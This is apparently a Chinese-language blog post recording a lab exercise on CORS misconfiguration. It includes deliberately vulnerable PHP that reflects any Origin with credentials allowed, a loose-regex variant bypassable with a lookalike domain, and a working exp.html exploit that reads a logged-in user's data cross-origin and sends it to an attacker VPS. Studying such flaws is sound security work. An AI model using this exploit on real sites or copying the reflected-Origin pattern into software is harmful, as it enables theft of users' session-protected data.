CORS配置错误那些事

CORS配置错误那些事


这里记录一下我学习CORS配置错误漏洞的实验过程。

CORS介绍:


跨域资源共享(CORS) 是一种机制,它使用额外的 HTTP 头来告诉浏览器 让运行在一个 origin (domain) 上的Web应用被准许访问来自不同源服务器上的指定的资源。当一个资源从与该资源本身所在的服务器不同的域、协议或端口请求一个资源时,资源会发起一个跨域 HTTP 请求。
上面这一段是我网上摘下来的介绍,我个人的浅显理解是:为了解决需要获取不同域的资源,但是受限于同源策略无法跨域获取资源的情况下,可以通过在被获取资源的响应头中设置CORS相关字段来达成目的。

CORS关键HTTP头字段


如下这几个字段,如果配置不当就容易产生安全问题:

Access-Control-Allow-Origin:指定哪些域可以访问域资源。例如,如果requester.com想要访问provider.com的资源,那么开发人员可以使用此标头安全地授予requester.com对provider.com资源的访问权限。
Access-Control-Allow-Credentials:指定浏览器是否将使用请求发送cookie。仅当allow-credentials标头设置为true时,才会发送Cookie。
Access-Control-Allow-Methods:指定可以使用哪些HTTP请求方法(GET,PUT,DELETE等)来访问资源。此标头允许开发人员通过在requester.com请求访问provider.com的资源时,指定哪些方法有效来进一步增强安全性。

漏洞场景


场景A
假设站点a.com的index.php在登录之后可以获取到敏感信息,代码如下:

// index.php
<?php
if(isset($_SERVER['HTTP_ORIGIN'])){
	header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);
	header('Access-Control-Allow-Credentials: true');
}

var_dump($_SERVER);
session_start();
if(@$_SESSION['user'] == 'admin'){
	$info = array('user'=>'admin', 'pass'=>'123123');
	echo json_encode($info);
}else{
	echo 'Login fail, <a href=login.php>login</a>';
}
// login.php
<?php
session_start();

$_SESSION['user'] = 'admin';
header('Location: index.php');

这是我在实践中遇到过的,Access-Control-Allow-Origin的值为请求包中的Origin。这个问题就大了,我们使用任意的域都可以访问这个站的资源。我们来实际模拟一下。
我们先访问http://a.com/index.php,并且点击login登录获取登录凭证。

我们构造如下exp

<!-- exp.html -->
<html>
<head>
    <script type="text/javascript">
function cors() {  
var xhttp = new XMLHttpRequest();  
xhttp.onreadystatechange = function() {    
    if (this.status == 200) {    
    // alert(this.responseText);     
    document.getElementById("demo").innerHTML = this.responseText;
	if(this.responseText != ""){
		var url = "http://vps的ip/1.php?data=" + escape(this.responseText);
		var xhttp2 = new XMLHttpRequest();
		xhttp2.open("GET", url, true);
		xhttp2.send();
	}
	
	
    }  
};  
xhttp.open("GET", "http://a.com/index.php", true);  
xhttp.withCredentials = true;  
xhttp.send();
}
cors();


    </script>
</head>
<body>
    <textarea id="demo"></textarea>
</body>
</html>

然后在vps上监听自己设置的端口,比如我设置的是http://x.x.x.x:4040

此时,我们前面已经获取到a.com上的登录凭证,可以直接获取到敏感信息。然后我们再访问http://b.com/exp.html,看看效果。

我们可以看到下图,已经获取到敏感信息了。我们再看看vps上有没有拿到敏感信息。

我们可以看到GET请求参数data已经把敏感数据发送过来了。
我们再来看看请求包的详细情况

我们可以看到 a.com/index.php 获取到了origin,把他放进Access-Control-Allow-Origin里,我们成功的跨域获取到了敏感信息。然后看后面的数据包,把获取到的敏感信息发送到我们的vps上。

场景B
我们根据场景A的代码稍微变动一下,只需要修改index.php:

// index.php
<?php
if(isset($_SERVER['HTTP_ORIGIN'])){
	if(preg_match('/.*(a\.com)/i', $_SERVER['HTTP_ORIGIN'])){
		header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']);
		header('Access-Control-Allow-Credentials: true');
	}
}

session_start();
if(@$_SESSION['user'] == 'admin'){
	$info = array('user'=>'admin', 'pass'=>'123123');
	echo json_encode($info);
}else{
	echo 'Login fail, <a href=login.php>login</a>';
}

这里我们可以看到index.php开头判断了Origin为*a.com时,取$_SERVER['HTTP_ORIGIN']作为Access-Control-Allow-Origin的值。但是这样的防护并不严谨,我们只需要注册一个aa.com的域名,就可以绕过这层限制。
我们来实验一下,将exp.html放到aa.com里。然后访问http://a.com/index.php并获取cookie,然后访问http://aa.com/exp.html。

我们通过上图,可以看到成功的获取到了敏感信息。
如果觉得这个方式成本过高,还可以通过另外一个方式。就是在a.com或a.com的子域名里挖掘xss,然后将exp.html里的js放入xss payload位置,同样可以获取到敏感信息。

注意事项


  1. 这里可能有些人会问,如果遇到Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true是不是就可以无视同源策略,任意获取资源了。但是事实并非如此,因为CORS协议为了防止开发者开发时错误配置了CORS,规定了Allow-Credentials为ture时,Allow-Origin必须为特定的域名,而不能是*。
  2. 上面的所有测试代码只是为了模拟真实情况下的效果,真实环境下的代码可能并不是这样写的,只是效果是相似的。

参考文献


感谢这些文章的师傅讲解,让我能顺利学习这个知识点。
浅析CORS攻击及其挖洞思路
三种对CORS错误配置的利用方法
CORS(跨域资源共享)错误配置漏洞的高级利用

posted @ 2020-02-29 18:44  Gcker  阅读(1784)  评论(0编辑  收藏